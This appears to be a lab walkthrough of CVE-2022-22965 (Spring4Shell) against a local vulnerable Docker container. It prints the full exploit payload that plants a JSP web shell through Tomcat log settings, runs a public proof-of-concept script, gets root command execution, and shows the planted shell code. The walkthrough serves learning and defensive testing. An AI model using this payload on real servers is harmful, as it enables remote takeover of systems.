CVE-2022-22965

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Read more: https://nvd.nist.gov/vuln/detail/CVE-2022-22965

Build the application

This docker image contains a Spring Boot web application which is vulnerable to CVE-2022-22965.

A vulnerable configuration consists of:
JDK version 9+
Apache Tomcat for serving the application
Spring Framework versions 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19 and below
application built as a WAR file

Pull the docker image

1
$ docker pull vulfocus/spring-core-rce-2022-03-29

Then run the below command to deploy the web app

1
$ docker run --rm --name spring_rce -p 8080:8080 vulfocus/spring-core-rce-2022-03-29

curl the localhost:8080 to confirm the application is running or not.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ curl http://localhost:8080 -v 
* Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 2
< Date: Thu, 07 Apr 2022 12:01:10 GMT
<
* Connection #0 to host localhost left intact
ok

Exploit

Download the exploit script from github. i’m using this : https://github.com/BobTheShoplifter/Spring4Shell-POC

But there is lots of exploit script available for this vulnerability in github.

Here is the payload used in this python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def run(self):
headers = {
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",
}

data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

try:
requests.post(self.url,
headers=headers,
data=data,
timeout=15,
allow_redirects=False,
verify=False)

run this command to inject the webshell

1
2
3
4
5
6
7
8
9
10
11
12
 $ git clone https://github.com/BobTheShoplifter/Spring4Shell-POC.git
Cloning into 'Spring4Shell-POC'...
remote: Enumerating objects: 297, done.
remote: Counting objects: 100% (297/297), done.
remote: Compressing objects: 100% (245/245), done.
remote: Total 297 (delta 100), reused 109 (delta 27), pack-reused 0
Receiving objects: 100% (297/297), 16.45 MiB | 7.90 MiB/s, done.
Resolving deltas: 100% (100/100), done.
$ cd Spring4Shell-POC/
$ chmod +x poc.py
$ ./poc.py --url http://localhost:8080/
Vulnerable,shell url: http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami

the script successfully injected the webshell in the server.

just curl the url : http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id

1
2
3
4
5
6
7
8
9
$ curl 'http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id' --output -
uid=0(root) gid=0(root) groups=0(root)

//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -

Reference: https://github.com/itsecurityco/CVE-2022-22965